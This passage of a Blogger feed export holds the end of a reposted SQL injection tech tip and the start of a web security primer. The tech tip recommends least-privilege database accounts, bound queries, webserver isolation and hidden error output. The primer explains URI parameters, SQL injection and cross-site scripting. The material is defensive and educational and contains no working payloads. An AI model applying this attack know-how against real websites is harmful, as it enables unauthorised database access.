&lt;dd&gt; In the case at hand, we observed just two interactions that are made not in the context of a logged-in user: &quot;log in&quot; and &quot;send me password&quot;. The web application ought to use a database connection with the most limited rights possible: query-only access to the &lt;b&gt;members&lt;/b&gt; table, and no access to any other table. &lt;/dd&gt;&lt;dd&gt; The effect here is that even a &quot;successful&quot; SQL injection attack is going to have much more limited success. Here, we&#39;d not have been able to do the &lt;b&gt;UPDATE&lt;/b&gt; request that ultimately granted us access, so we&#39;d have had to resort to other avenues. &lt;/dd&gt;&lt;dd&gt; Once the web application determined that a set of valid credentials had been passed via the login form, it would then switch that session to a database connection with more rights. &lt;/dd&gt;&lt;dd&gt; It should go almost without saying that &lt;b&gt;sa&lt;/b&gt; rights should &lt;i&gt;never&lt;/i&gt; be used for any web-based application. &lt;/dd&gt;
&lt;dt&gt; Use stored procedures for database access &lt;/dt&gt;
&lt;dd&gt;When the database server supports them, use stored procedures for performing access on the application&#39;s behalf, which can eliminate SQL entirely (assuming the stored procedures themselves are written properly). &lt;/dd&gt;&lt;dd&gt; By encapsulating the rules for a certain action - query, update, delete, etc. - into a single procedure, it can be tested and documented on a standalone basis and business rules enforced (for instance, the &quot;add new order&quot; procedure might reject that order if the customer were over his credit limit). &lt;/dd&gt;&lt;dd&gt; For simple queries this might be only a minor benefit, but as the operations become more complicated (or are used in more than one place), having a single definition for the operation means it&#39;s going to be more robust and easier to maintain. &lt;/dd&gt;&lt;dd&gt; &lt;b&gt;Note&lt;/b&gt;: it&#39;s always possible to write a stored procedure that itself constructs a query dynamically: this provides &lt;b&gt;no&lt;/b&gt; protection against SQL Injection - it&#39;s only proper binding with prepare/execute or direct SQL statements with bound variables that provide this protection. &lt;/dd&gt;
&lt;dt&gt; Isolate the webserver &lt;/dt&gt;
&lt;dd&gt;Even having taken all these mitigation steps, it&#39;s nevertheless still possible to miss something and leave the server open to compromise. One ought to design the network infrastructure to &lt;b&gt;assume&lt;/b&gt; that the bad guy will have full administrator access to the machine, and then attempt to limit how that can be leveraged to compromise other things. &lt;/dd&gt;&lt;dd&gt; For instance, putting the machine in a DMZ with extremely limited pinholes &quot;inside&quot; the network means that even getting complete control of the webserver doesn&#39;t automatically grant full access to everything else. This won&#39;t stop everything, of course, but it makes it a lot harder. &lt;/dd&gt;
&lt;dt&gt; Configure error reporting &lt;/dt&gt;
&lt;dd&gt; The default error reporting for some frameworks includes developer debugging information, and this &lt;b&gt;cannot&lt;/b&gt; be shown to outside users. Imagine how much easier a time it makes for an attacker if the full query is shown, pointing to the syntax error involved. &lt;/dd&gt;&lt;dd&gt; This information &lt;i&gt;is&lt;/i&gt; useful to developers, but it should be restricted - if possible - to just internal users. &lt;/dd&gt;&lt;/dl&gt;Note that not all databases are configured the same way, and not all even support the same dialect of SQL (the &quot;S&quot; stands for &quot;Structured&quot;, not &quot;Standard&quot;). For instance, most versions of MySQL do not support subselects, nor do they usually allow multiple statements: these are substantially complicating factors when attempting to penetrate a network. &lt;br /&gt;
&lt;hr /&gt;   We&#39;d like to emphasize that though we chose the &quot;Forgotten password&quot; link to attack in this particular case, it wasn&#39;t really because this particular web application feature is dangerous. It was simply one of several available features that might have been vulnerable, and it would be a mistake to focus on the &quot;Forgotten password&quot; aspect of the presentation. &lt;br /&gt;
This Tech Tip has not been intended to provide comprehensive coverage on SQL injection, or even a tutorial: it merely documents the process that evolved over several hours during a contracted engagement.  We&#39;ve seen other papers on SQL injection discuss the technical background, but still only provide the &quot;money shot&quot; that ultimately gained them access. &lt;br /&gt;
But that final statement required background knowledge to pull off, and the process of &lt;b&gt;gathering&lt;/b&gt; that information has merit too. One doesn&#39;t always have access to source code for an application, and the ability to attack a custom application blindly has some value. &lt;br /&gt;
Thanks to &lt;a href=&quot;http://www.ngssoftware.com/&quot;&gt;David Litchfield&lt;/a&gt; and &lt;a href=&quot;http://www.stonehenge.com/merlyn/&quot;&gt;Randal Schwartz&lt;/a&gt; for their technical input to this paper, and to the great &lt;a href=&quot;http://www.mospaw.com/&quot;&gt;Chris Mospaw&lt;/a&gt; for graphic design (© 2005 by Chris Mospaw, used with permission). &lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://haythamhosney.blogspot.com/feeds/1280051540374546502/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://haythamhosney.blogspot.com/2012/01/sql-injection-attacks-by-example.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3138548880507154050/posts/default/1280051540374546502'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3138548880507154050/posts/default/1280051540374546502'/><link rel='alternate' type='text/html' href='http://haythamhosney.blogspot.com/2012/01/sql-injection-attacks-by-example.html' title='SQL Injection Attacks by Example'/><author><name>haytham Hosney</name><uri>http://www.blogger.com/profile/08973214026428213555</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3138548880507154050.post-7993151141804689368</id><published>2012-01-01T01:42:00.000-08:00</published><updated>2012-01-01T01:42:25.668-08:00</updated><title type='text'>Web Security: Are You Part Of The Problem?</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;strong&gt;Website security&lt;/strong&gt; is an interesting topic and should  be high on the radar of anyone who has a Web presence under their  control. Ineffective Web security leads to all of the things that make  us hate the Web: spam, viruses, identity theft, to name a few.&lt;br /&gt;
The problem with Web security is that, as important as it is, it is  also very complex. I am quite sure that some of you reading this are  already part of an network of attack computers and that your servers are  sending out spam messages without you even knowing it. Your emails and  passwords have been harvested and resold to people who think you need  either a new watch, a male enhancement product or a cheap mortgage. Fact  is, you are part of the problem and don’t know what you did to cause  it.&lt;br /&gt;
The reason is that security experts don’t like to talk too much in  public about what they do and where the issues lie; and sadly enough,  they can also come across as arrogant in their views. This could be the  result of people not taking security seriously and not following the  most basic advice, such as using passwords that are clever, not  “password” or “letmein.”&lt;br /&gt;
Another reason is those tutorials that show you how to “do something  in five minutes” and conveniently neglect to mention the security  implications of their advice. If it sounds too easy to be true, it  probably is. A perfect example of this is PHP solutions that use a file  for data storage and ask you to make it writable to the world. This is  easy to implement, but it means that any spammer can write to this file.&lt;br /&gt;
&lt;strong&gt;Disclaimer&lt;/strong&gt;: the things we’ll talk about in this  article today won’t make you a security expert, just as buying a Swiss  Army knife won’t make you a locksmith or buying a whip won’t make you a  lion tamer. The purpose here is to &lt;strong&gt;raise awareness&lt;/strong&gt; and perhaps make some of that security mumbo-jumbo a bit more understandable to you.&lt;br /&gt;
&lt;div id=&quot;textadtarget&quot;&gt;&lt;div id=&quot;textad&quot;&gt;[&lt;strong&gt;Editor&#39;s note&lt;/strong&gt;: Have you already got your copy of the &lt;em&gt;Smashing Book #2&lt;/em&gt;? The book shares valuable practical insight into design, usability and coding. &lt;a href=&quot;http://auslieferung.commindo-media-ressourcen.de/www/delivery/ck.php?oaparams=2__bannerid=2862__zoneid=68__OXLCA=1__cb=426edf9fdd__oadest=https%3A%2F%2Fshop.smashingmagazine.com%2Fsmashing-book-2.html%3Fpk_campaign%3Dsmashing-book-2%26pk_kwd%3Dsm-ta-01&quot; target=&quot;_self&quot;&gt;Have a look at the contents&lt;/a&gt;.]&lt;div id=&quot;beacon_426edf9fdd&quot; style=&quot;left: 0px; position: absolute; top: 0px; visibility: hidden;&quot;&gt;&lt;img alt=&quot;&quot; height=&quot;0&quot; src=&quot;http://auslieferung.commindo-media-ressourcen.de/www/delivery/lg.php?bannerid=2862&amp;amp;campaignid=1018&amp;amp;zoneid=68&amp;amp;loc=1&amp;amp;referer=http%3A%2F%2Fcoding.smashingmagazine.com%2F2010%2F01%2F14%2Fweb-security-primer-are-you-part-of-the-problem%2F&amp;amp;cb=426edf9fdd&quot; style=&quot;height: 0px; width: 0px;&quot; width=&quot;0&quot; /&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h3&gt;An Interesting Report On Web Security&lt;/h3&gt;Web security company Cenzic released a report detailing trends and  numbers related to Web security for the first and second quarters of  2009. A &lt;a href=&quot;http://www.cenzic.com/downloads/Cenzic_AppSecTrends_Q1-Q2-2009.pdf&quot;&gt;PDF of the report is available&lt;/a&gt;, and the numbers are telling:&lt;br /&gt;
&lt;a href=&quot;http://www.cenzic.com/downloads/Cenzic_AppSecTrends_Q1-Q2-2009.pdf&quot;&gt;&lt;img alt=&quot;Web Vulnerabilities Q1/Q2 2009.&quot; src=&quot;http://coding.smashingmagazine.com/wp-content/uploads/2010/01/4239939571_b7d3cddc83_o.gif&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;em&gt;&lt;a href=&quot;http://www.cenzic.com/downloads/Cenzic_AppSecTrends_Q1-Q2-2009.pdf&quot;&gt;PDF: Web Vulnerabilities Q1/Q2 2009&lt;/a&gt;.&lt;/em&gt;&lt;br /&gt;
Among the most serious vulnerabilities were path traversal,  cross-site scripting, cross-site request forgery and SQL injection.  Unmentioned are a newer threat, clickjacking, and a user interface issue  called phishing. You may have to deal with all of these as a Web  developer if you touch PHP and HTML, CSS and JavaScript. Even if you  don’t use PHP, you could still cause a lot of problems. Even if you  don’t touch code and simply design, you could be a great asset in this  area. You could help make the Web safer by making security issues  understandable to your users.&lt;br /&gt;
Let’s go through all of these things and explain what they are and  do. The first thing you need to know, though, is how URIs work.&lt;br /&gt;
&lt;h3&gt;URIs: The Main Way To Attack A Web Service&lt;/h3&gt;The address of any document (i.e. file on the Internet) is its &lt;a href=&quot;http://en.wikipedia.org/wiki/Uniform_Resource_Identifier&quot;&gt;Uniform Resource Identifier&lt;/a&gt;  (URI). This is what you enter in the browser bar to access the document  and what you embed into code to point to the document. For example, my  website address is &lt;code&gt;http://icant.co.uk&lt;/code&gt;, and the document you see when you open it in a browser is &lt;code&gt;http://icant.co.uk/index.php&lt;/code&gt; (the server automatically redirects to that document). The logo image resides at the URI &lt;code&gt;http://icant.co.uk/iconslogo.png&lt;/code&gt;, and the image of me pointing at you is on a totally different server and has the URI &lt;code&gt;http://farm4.static.flickr.com/3172/3041842192_5b51468648.jpg&lt;/code&gt;.&lt;br /&gt;
All of these URIs are okay for you to access. Some URIs, though,  contain information that should not be accessible to the outside world.  For example, the &lt;code&gt;/etc/password&lt;/code&gt; folder on a server contains password and user information that should not leak to the Internet.&lt;br /&gt;
Every URI can also contain parameters. These are instructions you can  send to the script located at that URI and that are appended to the URI  starting with a &lt;code&gt;?&lt;/code&gt; and separated by ampersands. If you want to search for puppies on Google, for example, you can use the URI &lt;code&gt;http://www.google.com/search?q=puppies&lt;/code&gt;, and if you want to begin your search after the first 50 results, you can use &lt;code&gt;http://www.google.com/search?q=puppies&amp;amp;start=50&lt;/code&gt;.&lt;br /&gt;
Normally, these parameters are not entered by end users but rather  come from the HTML interface. If you look at the source code of the  Google home page and get rid of the painful bits, you end up with the  following form:&lt;br /&gt;
&lt;div class=&quot;syntaxhighlighter  &quot; id=&quot;highlighter_54935&quot;&gt;&lt;div class=&quot;lines&quot;&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;01&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;&amp;lt;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;form&lt;/code&gt; &lt;code class=&quot;color1&quot;&gt;name&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;=&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;f&quot;&lt;/code&gt; &lt;code class=&quot;color1&quot;&gt;action&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;=&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;/search&quot;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;02&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;lt;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;input&lt;/code&gt; &lt;code class=&quot;color1&quot;&gt;type&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;=&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;hidden&quot;&lt;/code&gt; &lt;code class=&quot;color1&quot;&gt;value&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;=&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;en&quot;&lt;/code&gt; &lt;code class=&quot;color1&quot;&gt;name&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;=&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;hl&quot;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;/&amp;gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;03&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;lt;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;input&lt;/code&gt; &lt;code class=&quot;color1&quot;&gt;type&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;=&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;hidden&quot;&lt;/code&gt; &lt;code class=&quot;color1&quot;&gt;value&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;=&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;hp&quot;&lt;/code&gt; &lt;code class=&quot;color1&quot;&gt;name&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;=&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;source&quot;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;/&amp;gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;04&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;lt;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;input&lt;/code&gt; &lt;code class=&quot;color1&quot;&gt;name&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;=&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;q&quot;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;/&amp;gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;05&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;lt;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;input&lt;/code&gt; &lt;code class=&quot;color1&quot;&gt;type&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;=&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;submit&quot;&lt;/code&gt; &lt;code class=&quot;color1&quot;&gt;name&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;=&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;btnG&quot;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;/&amp;gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;06&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;lt;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;input&lt;/code&gt; &lt;code class=&quot;color1&quot;&gt;type&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;=&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;submit&quot;&lt;/code&gt; &lt;code class=&quot;color1&quot;&gt;name&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;=&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;btnI&quot;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;/&amp;gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;07&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;lt;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;input&lt;/code&gt; &lt;code class=&quot;color1&quot;&gt;type&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;=&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;hidden&quot;&lt;/code&gt; &lt;code class=&quot;color1&quot;&gt;name&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;=&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;aq&quot;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;/&amp;gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;08&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;lt;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;input&lt;/code&gt; &lt;code class=&quot;color1&quot;&gt;type&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;=&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;hidden&quot;&lt;/code&gt; &lt;code class=&quot;color1&quot;&gt;name&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;=&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;oq&quot;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;/&amp;gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;09&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;lt;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;input&lt;/code&gt; &lt;code class=&quot;color1&quot;&gt;type&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;=&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;hidden&quot;&lt;/code&gt; &lt;code class=&quot;color1&quot;&gt;name&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;=&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;aqi&quot;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;/&amp;gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;10&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;&lt;!--&lt;/code--&gt;&lt;code class=&quot;keyword&quot;&gt;form&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;gt;&lt;/code&gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;So in essence, this form sends the content of all of these fields to the URI &lt;code&gt;search&lt;/code&gt; and appends them to that URI. This is how you end up with this, &lt;br /&gt;
&lt;div class=&quot;syntaxhighlighter  &quot; id=&quot;highlighter_994864&quot;&gt;&lt;div class=&quot;lines&quot;&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;1&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;&lt;a href=&quot;http://www.google.com/search?hl=en&amp;amp;source=hp&amp;amp;q=puppies&amp;amp;aq=f&amp;amp;oq=&amp;amp;aqi=&quot;&gt;http://www.google.com/search?hl=en&amp;amp;source=hp&amp;amp;q=puppies&amp;amp;aq=f&amp;amp;oq=&amp;amp;aqi=&lt;/a&gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;when you submit the form. Notice, for instance, that I have no &lt;code&gt;btnG&lt;/code&gt; parameter because I used the &lt;em&gt;Enter&lt;/em&gt; key to submit the form.&lt;br /&gt;
On the search results page, you can see the pagination links at the bottom (the &lt;em&gt;1 2 3&lt;/em&gt; and so on under the &lt;em&gt;Gooooooogle&lt;/em&gt; logo), and you can see that these links send the same data to the URI and add a &lt;code&gt;start&lt;/code&gt; parameter:&lt;br /&gt;
&lt;div class=&quot;syntaxhighlighter  &quot; id=&quot;highlighter_456612&quot;&gt;&lt;div class=&quot;lines&quot;&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;1&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;&amp;lt;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;a&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;href=&quot;/search?&lt;/code&gt;&lt;code class=&quot;color1&quot;&gt;hl&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;=&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;en&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;amp;&lt;/code&gt;&lt;code class=&quot;color1&quot;&gt;q&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;=&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;puppies&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;amp;&lt;strong&gt;start=40&lt;!--&lt;/code--&gt;&lt;code class=&quot;keyword&quot;&gt;strong&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;gt;&amp;amp;sa=N&quot;&amp;gt;5&lt;!--&lt;/code--&gt;&lt;code class=&quot;keyword&quot;&gt;a&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;gt;&lt;/code&gt;&lt;/code&gt;&lt;/strong&gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;You can send parameters to a script with the URI via form fields,  links or any other thing in HTML that contains a URI: images, link  elements, frames, anything that can take an &lt;code&gt;href&lt;/code&gt; or &lt;code&gt;src&lt;/code&gt;  attribute. If an attacker can override any of these or add a new image  to your HTML without you knowing it, they could point to their own URIs  and send their own parameters.&lt;br /&gt;
You have to be careful with what your parameters contain and where  they point to, which could be someone else’s server (to get more code)  or sections of your own server that you don’t want to show or send to  another server.&lt;br /&gt;
&lt;h3&gt;Different Types Of Attacks. What Do These Words Mean?&lt;/h3&gt;Let’s quickly go through the different items mentioned in the graph above, explaining what they are and what they mean.&lt;br /&gt;
&lt;h4&gt;SQL Injection&lt;/h4&gt;With an &lt;a href=&quot;http://unixwiz.net/techtips/sql-injection.html&quot;&gt;SQL injection&lt;/a&gt;,  an attacker accesses your database by sending an SQL command to your  server via the URI or form fields. This is easily worked around by &lt;a href=&quot;http://en.wikipedia.org/wiki/SQL_injection&quot;&gt;sanitizing&lt;/a&gt;, but neglecting to do so can be fatal for your website, as the following &lt;a href=&quot;http://xkcd.com/327/&quot;&gt;XKCD comic&lt;/a&gt; shows:&lt;br /&gt;
&lt;a href=&quot;http://xkcd.com/327/&quot;&gt;&lt;img alt=&quot;comic showing how SQL injection would delete a database&quot; src=&quot;http://coding.smashingmagazine.com/wp-content/uploads/2010/01/exploits_of_a_mom.png&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;em&gt;&lt;a href=&quot;http://xkcd.com/327/&quot;&gt;XKCD comic&lt;/a&gt; showing how SQL injection would delete a database.&lt;/em&gt;&lt;br /&gt;
&lt;h4&gt;Cross-Site Scripting (XSS)&lt;/h4&gt;Cross-site scripting is probably the biggest and most common problem.  With it, an attacker injects JavaScript code into your document by  adding it to the end of the URI as a parameter or in a form field.&lt;br /&gt;
Say you want to be cool and allow visitors to customize certain colors on your page. You could do this easily in PHP:&lt;br /&gt;
&lt;div class=&quot;syntaxhighlighter  &quot; id=&quot;highlighter_587689&quot;&gt;&lt;div class=&quot;lines&quot;&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;01&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;&lt;!--?php&lt;/code--&gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;02&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;comments&quot;&gt;// predefine colors to use&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;03&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$color&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;= &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;white&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;04&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$background&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;= &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;black&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
